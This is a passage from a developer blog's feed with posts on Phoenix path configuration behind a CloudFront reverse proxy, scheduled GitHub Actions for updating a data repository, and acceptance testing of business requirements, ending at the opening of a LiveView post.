&lt;p&gt;After we accessed our content service, we had the problem that our static content including the &lt;code&gt;*.css&lt;/code&gt; and &lt;code&gt;*.js&lt;/code&gt; files wasn’t loaded properly anymore. The problem was that the URLs generated by Phoenix did not include the /content path. So, the URLs to our static files were e.g. &lt;code&gt;https://example.com/js/app.js&lt;/code&gt; instead of &lt;code&gt;https://example.com/content/js/app.js&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Being the well-written framework that Phoenix is, changing how routes were generated took a single configuration in the &lt;a href=&quot;https://hexdocs.pm/phoenix/Phoenix.Endpoint.html#module-runtime-configuration&quot;&gt;Plug.Endpoint&lt;/a&gt;. We added the &lt;code&gt;path: &quot;/content&quot;&lt;/code&gt; setting to our &lt;code&gt;AppWeb.Endpoint&lt;/code&gt; configuration.&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# config/prod.exs&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;config&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:app&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;AppWeb.Endpoint&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;url: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;scheme: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;https&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;host: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;example.com&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;port: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;443&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;path: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;/content&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once deployed, Phoenix would generate routes prefixed with the &lt;code&gt;/content&lt;/code&gt;-path. Since the &lt;code&gt;static_url&lt;/code&gt; setting falls back to the &lt;code&gt;url&lt;/code&gt; setting, our static files were now also accessible under e.g. &lt;code&gt;https://example.com/content/js/app.js&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;One caveat was though that we make sure to always use the &lt;code&gt;conn&lt;/code&gt; instead of &lt;code&gt;AppWeb.Endpoint&lt;/code&gt; when generating routes, e.g. &lt;code&gt;Routes.index_path(@conn, :index)&lt;/code&gt; since otherwise the &lt;code&gt;/content&lt;/code&gt;-prefix would not be included in the URL. Also, the &lt;code&gt;Plug.Static&lt;/code&gt; setting in the &lt;code&gt;endpoint.ex&lt;/code&gt; should not be changed since the static files must still be served under &quot;/&quot; and &lt;strong&gt;not&lt;/strong&gt; &lt;code&gt;&quot;/content&quot;&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#conclusion&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;conclusion&quot;&gt;&lt;/a&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Setting up a reverse proxy with CloudFront, Lambda@Edge and a Elixir + Phoenix stack was not straight forward and a lot of trial-and-error if you do it for the first time (and don’t feel like reading 1000 pages of AWS documentation). But once you’ve managed, you can offer all your services through a single domain and specify to which service traffic should be forwarded based on a path. Since we plan on adding more services in the future, we are positive that this solution will help us integrate the new services seamlessly.&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/reverse-proxy-with-cloudfront"/>
    <id>https://peterullrich.com/reverse-proxy-with-cloudfront</id>
    <title>How to set up a Reverse Proxy with CloudFront, Lambda@Edge and Phoenix</title>
    <updated>2020-05-26T11:01:35Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;In a personal project of mine, I regularly fetched data collected by bicycle counting stations scattered around Cologne, Germany, and stored the data in a public &lt;a href=&quot;https://github.com/PJUllrich/Dauerzaehlstellen-Koeln/&quot;&gt;GitHub repository&lt;/a&gt;. I ran the Python script which was fetching, appending, and uploading the data to GitHub manually for a while, but since I (am lazy and) wanted to always offer the latest data, I thought about how I could automate this process. Here’s how I accomplished running the reoccurring process with GitHub Actions.&lt;/p&gt;
&lt;p&gt;At first, I thought about using the popular &lt;a href=&quot;https://github.com/sorentwo/oban&quot;&gt;Oban&lt;/a&gt; library written in Elixir to run a reoccurring job, but every time the job would have been run, I would have to clone the repository, fetch the data, commit the changes and push everything to GitHub using a personal access token. Since I could not use git commands directly from Elixir, I would also have to use a wrapper library like &lt;a href=&quot;https://github.com/elixir-git/xgit&quot;&gt;Xgit&lt;/a&gt;. This seemed way too complicated and the friendly Elixir community &lt;a href=&quot;https://elixirforum.com/t/how-to-update-a-github-repo-daily/31798/3?u=pjullrich&quot;&gt;pointed me&lt;/a&gt; towards using &lt;code&gt;scheduled&lt;/code&gt; GitHub Actions.&lt;/p&gt;
&lt;p&gt;In short: GitHub Actions are jobs, scripts, or routines which GitHub runs for you whenever a predefined event occurs. Most people use GitHub Actions to automate their Continuous Integration (CI) pipeline using push or &lt;code&gt;pull_request&lt;/code&gt; triggers. This means that whenever somebody pushes changes to a GitHub repository or opens a Pull Request, the GitHub Action is executed, mostly to run some tests or to upload the latest version to a package manager. What I was unaware of was the &lt;a href=&quot;https://help.github.com/en/actions/reference/events-that-trigger-workflows&quot;&gt;multitude of triggers&lt;/a&gt; that can cause a GitHub Action to be run.&lt;/p&gt;
&lt;p&gt;In my case, the &lt;a href=&quot;https://help.github.com/en/actions/reference/events-that-trigger-workflows#scheduled-events-schedule&quot;&gt;scheduled&lt;/a&gt; trigger seemed most interesting. It can be set up using (relatively) simple &lt;code&gt;cron&lt;/code&gt; syntax, which would let me trigger a GitHub Action once a day to fetch and update the data. Long story short, here’s my GitHub Action workflow, which I shortened a bit from the &lt;a href=&quot;https://github.com/PJUllrich/Dauerzaehlstellen-Koeln/blob/master/.github/workflows/python.yml&quot;&gt;original&lt;/a&gt;, but it essentially achieves the same goal.&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-yaml&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;Update data&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #7ee787;&quot;&gt;schedule&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #7ee787;&quot;&gt;cron&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;0 5 * * *&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;jobs&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #7ee787;&quot;&gt;execute&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #7ee787;&quot;&gt;runs-on&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;ubuntu-latest&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #7ee787;&quot;&gt;steps&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #7ee787;&quot;&gt;uses&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;actions/checkout@v2&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #7ee787;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;Update local files&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;        &lt;span style=&quot;color: #7ee787;&quot;&gt;run&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;python3&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;fetch_current_data.py&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #7ee787;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;Commit files&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;        &lt;span style=&quot;color: #7ee787;&quot;&gt;run&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;|&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;          &lt;span style=&quot;color: #79c0ff;&quot;&gt;git&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;config&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;--local&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;user.email&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;your@email.com&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;          &lt;span style=&quot;color: #79c0ff;&quot;&gt;git&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;config&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;--local&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;user.name&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;GitHub Action&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;          &lt;span style=&quot;color: #79c0ff;&quot;&gt;git&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;commit&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;-m&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Update data&quot;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;-a&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #7ee787;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;Push changes&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;        &lt;span style=&quot;color: #7ee787;&quot;&gt;uses&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;ad-m/github-push-action@master&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;        &lt;span style=&quot;color: #7ee787;&quot;&gt;with&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;          &lt;span style=&quot;color: #7ee787;&quot;&gt;github_token&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;$&amp;lbrace;&amp;lbrace; secrets.GITHUB_TOKEN &amp;rbrace;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This workflow is executed every day roughly at 5 am, give or take 15min since GitHub Actions aren’t run exactly on time. It clones the repository to its machine and executes a python script that fetches and appends the latest counts to local files holding the historical data. It then uses the &lt;a href=&quot;https://github.com/ad-m/github-push-action&quot;&gt;GitHub Push Action&lt;/a&gt; to automatically commit and push the latest counter data back to the &lt;code&gt;master&lt;/code&gt; branch of my GitHub repository.&lt;/p&gt;
&lt;p&gt;Using this GitHub Action, I could safely forget about running the Python script manually every day and it would automatically fetch and upload the latest data. So, if you also want to safely forget about things, use GitHub Actions.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#caveats&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;caveats&quot;&gt;&lt;/a&gt;Caveats&lt;/h2&gt;
&lt;p&gt;As mentioned before, the Action is &lt;strong&gt;not&lt;/strong&gt; executed exactly on time, but with a delay of up to 15min in my experience. This means, that you shouldn’t use scheduled GitHub Actions for reoccurring jobs which are time-sensitive.&lt;/p&gt;
&lt;p&gt;I was not able to reproduce this since, but the GitHub Action &lt;strong&gt;could&lt;/strong&gt; execute twice, so make sure that your job is idempotent or no-op on the second run. This means that you should be able to run your job multiple times and always receive the expected result. I achieved this by storing the latest date for which I fetched the data. Now, whenever the job was run again for the same date, it would finish without changing any data.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#conclusion&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;conclusion&quot;&gt;&lt;/a&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;It took me a day to research this possibility, but only around 1 hour to set up this GitHub Action, so GitHub Actions have convinced me once more of their ease-to-use and practicality. I hope this helped you further as well!&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/setup-recurring-jobs-with-github-actions"/>
    <id>https://peterullrich.com/setup-recurring-jobs-with-github-actions</id>
    <title>How to set up reoccurring jobs with GitHub Actions</title>
    <updated>2020-05-26T11:01:35Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;Here at Studitemps, we have to comply with many rules and regulations that we have to be certain are followed by our software as well. These business requirements have to be poured into production code 1-to-1. Otherwise, we risk losing our students, customers, and at worst, our license.&lt;br /&gt;
Therefore, we have to make sure that our software behaves in certain ways. We have developed a process of extracting and implementing business requirements and to make sure that our software will always operate as needed, even when we develop our software further.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-interview&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-interview&quot;&gt;&lt;/a&gt;The Interview&lt;/h2&gt;
&lt;p&gt;Before we can implement business requirements, we have to understand exactly what they are. For that, we interview our stakeholders about their needs. Talks like this tend to start with a concrete solution idea with which the stakeholder comes into the meeting. The goal of the interview is however to first understand the problem that we need to solve and only then are we brainstorming about potential solution ideas.&lt;/p&gt;
&lt;p&gt;We took this approach from Domain-driven Design in which one should first explore and understand the problem space, before moving on to the solution space, in which solutions to the problem are developed. This approach has the advantage to engage every team member in the problem-solving process. If every member understands the problem the team is likely to develop many more and better suited solutions to the problem since the team members can employ their unique experience and background to find good solutions.&lt;/p&gt;
&lt;p&gt;While interviewing the stakeholders, we tend to use a mix of open-ended and closed-ended questions. Open-ended questions leave room for elaboration and mostly start with “Why”, “What”, or “How”. They are useful to gain an overview of the problem and to let the stakeholders explain in great detail what they need. If we believe that we have understood the problem, we use closed-ended questions, to verify our understanding. We use closed-ended questions only seldomly however since a simple “yes” or “no” from the stakeholders risks losing a lot of information about how much the stakeholders agree or disagree with a statement. We try to use estimations instead, like “From 1 to 10, how much do you agree with this statement?”.&lt;/p&gt;
&lt;p&gt;Another principle of Domain-driven Design that we employ is Ubiquitous Language. It is hard enough to develop a shared understanding of a problem but it becomes much harder, if different words are used for the same thing. Therefore, we try to establish a common terminology that everybody adheres to. This language should also be specific rather than general. Whereas “personal data” can mean lots of things, “contact information” is already much more specific.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#acceptance-criteria&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;acceptance-criteria&quot;&gt;&lt;/a&gt;Acceptance Criteria&lt;/h2&gt;
&lt;p&gt;After we have established what the problem is and how we are going to solve it, we write a specific acceptance criterion that helps us verify or refute that our system behaves in a way that was agreed upon with the stakeholders. The criterion is written without code, but in the language shared with the stakeholders. In our case, this means writing the criteria, tests and even the code itself in German since all communication with stakeholders and within the team is in German. Therefore we opted to use the same terms and language on all levels of the development process.&lt;/p&gt;
&lt;p&gt;An acceptance criterion can be rather trivial like “A user can create an account”, to very specific like “The wage bonus of hours worked on Sundays is exempt from taxation.” The purpose of acceptance criteria for us is to specify a behavior that the system has to show and to share that understanding with everybody involved. This approach is directly taken from Behavior-driven Development which focuses on “what” the system does instead of “how” it does it. Prioritizing the “what” over the “how” weakens the fallacy of letting personal interests influence what is built. If one is interested in the latest framework, which everybody talks about, user stories that might involve implementing this framework become magically much more interesting. However, the main goal is to fulfill the needs of the stakeholders and not one’s interest in technical advancements.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#feature-specification&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;feature-specification&quot;&gt;&lt;/a&gt;Feature Specification&lt;/h2&gt;
&lt;p&gt;Once the acceptance criteria are defined, we move to the technical realm and write our first high-level test. To make sure that the system’s behavior follows the business requirements closely, we write a feature specification first, typically using Gherkin syntax. For example:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;Scenario: Taxation of Wage Bonus
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;          Given an employee has worked on a Sunday
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;          And has received a wage bonus for that work
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;          When the taxation for that work is calculated
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;          Then the wage bonus is exempt from taxation
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We make sure that we don’t use technical terms in our specification. Steps like “The user clicks the ‘Register’ button” are dependent on the current state of the system. Once that state changes (e.g. the “Register” button is renamed to “Sign-Up”), we would need to adjust our specifications to reflect that change. A more change-resistant option would be: “The user creates a new account.” We like our high-level tests to be long-lived and independent of the implementation so that the behavior of the system is always checked in the same way.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#acceptance-test&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;acceptance-test&quot;&gt;&lt;/a&gt;Acceptance Test&lt;/h2&gt;
&lt;p&gt;Once the expected behavior is defined with a feature specification, we start writing acceptance tests. Whereas acceptance tests can be written on any testing level (i.e. e2e, integration or unit), we like them to be the most high-level automated tests we have in our system. Since acceptance criteria are checked against the system as a whole, it made sense to us to write automated tests that operate on the same level of abstraction.&lt;/p&gt;
&lt;p&gt;We try to optimise the acceptance test for readability and to keep every test step as concise as possible. Most functionality is wrapped by helper functions whose function names give an explicit description of what the wrapped code is supposed to do. When the purpose of code is kept implicit, its purpose becomes an assumption, which varies with every developer who reads the code. By making the purpose explicit, the developer has a clear statement of purpose and can verify or refute whether the code is fulfilling its purpose against that statement. Let’s look at an example. The following code checks the last step of our feature specification. Please read it and be aware of how long it takes you to deduct the purpose of the code.&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;defthen “the wage bonus is exempt from taxation”, %&amp;lbrace;session: session&amp;rbrace; do
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;    session
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    |&gt; visit(“/pay”)
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    |&gt; fill_in(fillable_field(“username”), text: “test-account”)
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    |&gt; fill_in(fillable_field(“password”), text: “test-password”)
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    |&gt; click(button(“Login”))
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    |&gt; click(button(“Payslips”))
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    |&gt; click(link(“01.11. - 30.11.2019”))
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    |&gt; find(css(“#wage-bonus-taxation”))
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    |&gt; assert_text(“0.00”)
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;end
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The test code exposes a lot of details of how it asserts that the taxation is equal to 0.00. To understand it, you have to have a mental model of how the UI looks like. For example, did you notice that the test navigated to the “Payslips” tab and opened the payslip of last month given that this article was written in December 2019? The only critical line in this test is the line &lt;code&gt;assert_text(“0.00”)&lt;/code&gt; since right here we test the behavior of the system of how to calculate the wage tax. Let’s look at the same test again, this time written with helper functions, which encapsulate most of the logic.&lt;/p&gt;
&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;defthen “the wage bonus is exempt from taxation”, %&amp;lbrace;session: session&amp;rbrace; do
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;    session
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    |&gt; open_payslip_of_last_month()
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    |&gt; assert_that_wage_bonus_taxation_is_zero()
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;end
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This version of the test does exactly the same as the first version, but encapsulates any logic into helper functions, which define explicitly what they do. The test is much easier to read and to understand. If the developer cares about the underlying code, she can always dive into the helper functions which follow the single responsibility principle and do one thing only (e.g. &lt;code&gt;login()&lt;/code&gt;, or &lt;code&gt;open_payslip_from_november_2019()&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/business_requirements_production/pic_1.png&quot; alt=&quot;Business vs Technical realm&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#summary&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;summary&quot;&gt;&lt;/a&gt;Summary&lt;/h2&gt;
&lt;p&gt;We started the process of bringing business requirements to our software in the business realm. We interviewed our stakeholders using open/closed conversation techniques starting in the problem space and slowly moving towards the solution space. We established a ubiquitous language to which everyone committed to adhere. Once a solution was agreed upon, we distilled the solution into an acceptance criterion, which gives our stakeholders explicit requirements against which they can verify the behavior of the system. The acceptance criterion focuses on the “what”, not the “how”.&lt;/p&gt;
&lt;p&gt;Then, we left the business realm and moved to the technical realm. Here, we first wrote a feature specification, which is independent to technicalities and views the system as a black box. The specification was then tested in a concise acceptance test that moves the raw logic into helper functions, which explicitly describe the purpose of their implicit actions. This concludes the process of extracting business requirements and verifying them against our production code.&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/from-business-requirments-to-production-code"/>
    <id>https://peterullrich.com/from-business-requirments-to-production-code</id>
    <title>From Business Requirements to Production Code</title>
    <updated>2020-04-24T11:01:35Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;We used the Elixir + Phoenix stack to deliver scalable, fault-tolerant and high-availability IoT solutions to the customers of my first employer. The web frontends, we build for managing these solutions, need to be developed rapidly and adjusted constantly to the needs of our customers. The Phoenix framework is a perfect choice for our needs, but unfortunately requires us to add interactivity using JavaScript. That changed when the Phoenix LiveView project came along.&lt;/p&gt;
&lt;p&gt;With Phoenix LiveView, adding interactivity and displaying state changes without reloading the page becomes trivial. The complexity and loss of productivity due to context switching decreases significantly by eliminating the split between the backend and frontend code. But now that the normally stateless, since static, frontend becomes stateful, a new question arises: How can we manage the state?&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-problem&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-problem&quot;&gt;&lt;/a&gt;The Problem&lt;/h2&gt;
